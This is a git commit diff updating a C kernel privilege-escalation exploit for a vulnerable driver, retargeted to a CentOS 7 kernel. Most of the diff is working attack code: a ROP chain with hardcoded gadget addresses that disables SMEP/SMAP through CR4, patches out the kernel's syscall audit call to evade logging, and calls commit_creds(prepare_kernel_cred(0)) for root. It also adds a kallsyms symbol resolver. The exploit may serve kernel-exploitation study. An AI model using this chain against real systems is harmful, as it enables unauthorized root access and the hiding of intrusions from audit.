adjust for 3.10.0-327.36.1.el7.x86_64

centos7
Andy 8 years ago
parent 5564505b57
commit ce30b9df80
Signed by: arno
GPG Key ID: 368DDA2E9A471EAC

@ -1,8 +1,8 @@
/**
* ROP exploit for drv.c kernel module
*
* Tested in:
* Linux 3.10.0-327.28.3.el7.x86_64 - CentOS Linux release 7.2.1511 (Core)
* Tested in CentOS Linux release 7.2.1511 (Core):
* Linux 3.10.0-327.36.1.el7.x86_64
* qemu 2.5.0 / i7-4500U
*
* Compile:
@ -13,6 +13,8 @@
*
* Based on Vitaly Nikolenko's work:
* https://github.com/vnik5287/kernel_rop/
*
* Additional thanks to spender!
*/
#define _GNU_SOURCE
@ -26,6 +28,7 @@
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
#include <sys/utsname.h>
#include "drv.h"
#define DEVICE_PATH "/dev/vulndrv"
@ -34,6 +37,11 @@ unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
static void save_state() {
asm(
"movq %%cs, %0\n"
@ -52,6 +60,79 @@ void shell(void) {
exit(0);
}
int __attribute__((regparm(3))) get_root()
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
static unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
goto fallback;
oldstyle = 1;
}
repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
fclose(f);
return addr;
}
}
fclose(f);
if (rep)
return 0;
fallback:
/* didn't find the symbol, let's retry with the System.map
dedicated to the pointlessness of Russell Coker's SELinux
test machine (why does he keep upgrading the kernel if
"all necessary security can be provided by SE Linux"?)
*/
uname(&ver);
if (strncmp(ver.release, "2.6", 3))
oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
return 0;
rep = 1;
goto repeat;
}
void usage(char *bin_name) {
fprintf(stderr, "%s array_offset_decimal array_base_address_hex\n", bin_name);
}
@ -68,6 +149,11 @@ int main(int argc, char *argv[])
return -1;
}
// commit_creds = (_commit_creds) 0xffffffff810ac980UL;
// prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810acc90UL;
commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
/*
* req.offset
* when xchg_esp_eax_ret_N_rop_gadget % 8 == 0,
@ -99,17 +185,17 @@ int main(int argc, char *argv[])
// fake_stack begins here
fake_stack = (unsigned long *)(stack_addr);
*fake_stack ++= 0xffffffff8107c2c4UL; /* pop %rdi; ret */
*fake_stack ++= 0xffffffff8100359fUL; // : nop ; ret
/*
* In reality 0x14ff was 0x9d57:
* $ grep 0x14ff $(uname -r).gadgets
* 0xffffffff810e03d8 : xchg eax, esp ; ret 0x14ff
* 0xffffffff810e03f8: xchg eax, esp ; ret 0x14ff
*
* $ sudo gdb /boot/vmlinuz-$(uname -r) /proc/kcore
* (gdb) x/2i 0xffffffff810e03d8
* 0xffffffff810e03d8: xchg %eax,%esp
* 0xffffffff810e03d9: retq $0x9d57
* (gdb) x/2xi 0xffffffff810e03f8
* 0xffffffff810e03f8: xchg esp,eax
* 0xffffffff810e03f9: ret 0x9d57
*/
// Update fake_stack's pointer
@ -124,6 +210,7 @@ int main(int argc, char *argv[])
* 0xffffffff8107c2c4 : pop rdi ; ret
*
*/
*fake_stack ++= 0xffffffff81114705UL; // pop %rdi; ret
*fake_stack ++= 0x6f0UL; // disabled SMEP and SMAP
*fake_stack ++= 0xffffffff8100328dUL; // (Intel) mov cr4, rdi ; pop rbp ; ret
*fake_stack ++= 0xdeadbeefUL; // dummy
@ -133,36 +220,41 @@ int main(int argc, char *argv[])
* bypass syscall audit configuration without fully disabling Linux Audit system.
*
* /proc/kallsyms:
* ffffffff81646c0f t auditsys
* ffffffff8110b940 T __audit_syscall_entry
* ffffffff81646acf t auditsys
* ffffffff8110b960 T __audit_syscall_entry
*
* $ objdump -D vmlinux |grep -A1 -B1 ffffffff81646c1e
* ffffffff81646c1b: 48 89 c7 mov %rax,%rdi
* ffffffff81646c1e: e8 1d 4d ac ff callq 0xffffffff8110b940 <-- auditsys+15 calls __audit_syscall_entry
* ffffffff81646c23: 4c 8b 1c 24 mov (%rsp),%r11
* gdb> x/1xi 0xffffffff81646acf+15
* 0xffffffff81646ade: call 0xffffffff8110b960 <-- auditsys+15 calls __audit_syscall_entry
*
* NOTE: This will not work if kernel was built witth enabled CONFIG_DEBUG_RODATA (Write protect kernel read-only data structures)
*/
*fake_stack ++= 0xffffffff81077cb7UL; // pop %rdx; ret
*fake_stack ++= 0xffffffff81077d17UL; // pop %rdx; ret
*fake_stack ++= 0x9090909090909090UL; // rdx is: NOP (will be used to overwrite auditsys's callq __audit_syscall_entry)
*fake_stack ++= 0xffffffff8107c2c4UL; // pop %rdi; ret
*fake_stack ++= 0xffffffff81646c1eUL; // rdi is: auditsys+15 (0xffffffff81646c1e: callq 0xffffffff8110b940)
*fake_stack ++= 0xffffffff812fc0a6UL; // mov qword ptr [rdi], rdx ; ret (overwrite)
*fake_stack ++= 0xffffffff81114705UL; // pop %rdi; ret
*fake_stack ++= 0xffffffff81646adeUL; // rdi is: auditsys+15
*fake_stack ++= 0xffffffff812fba16UL; // mov qword ptr [rdi], rdx ; ret (overwrite)
/*
* To switch our process's owner to root, it is enough to execute:
* commit_creds(prepare_kernel_cred(0)) syscalls
* rdx(rax(0))
*
* You can also try using get_root function instead of a bare ROP
*/
*fake_stack ++= 0xffffffff8107c2c4UL; // pop %rdi; ret
// *fake_stack ++= (unsigned long)get_root;
*fake_stack ++= 0xffffffff81114705UL; // pop %rdi; ret
*fake_stack ++= 0x0UL; // rdi is NULL
*fake_stack ++= 0xffffffff810acc60UL; // prepare_kernel_cred() and $rax points to cred struct
*fake_stack ++= 0xffffffff810acc90UL; // prepare_kernel_cred() and $rax points to cred struct
*fake_stack ++= 0xffffffff81077cb7UL; // pop %rdx; ret
// *fake_stack ++= 0xffffffff810ac950UL; // commit_creds()
*fake_stack ++= 0xffffffff810ac956UL; // commit_creds() + 2 instructions
*fake_stack ++= 0xffffffff81077d17UL; // pop %rdx; ret
// // *fake_stack ++= 0xffffffff810ac980UL; // commit_creds()
*fake_stack ++= 0xffffffff810ac986UL; // commit_creds() + skip first push instruction
*fake_stack ++= 0xffffffff81016d77UL; // mov %rax, %rdi; call %rdx => calls commit_creds(prepare_kernel_cred(0))
*fake_stack ++= 0xffffffff81016d77UL; // mov rdi, rax ; call rdx => calls commit_creds(prepare_kernel_cred(0))
// safely return to user-space from the kernel-space

Loading…
Cancel
Save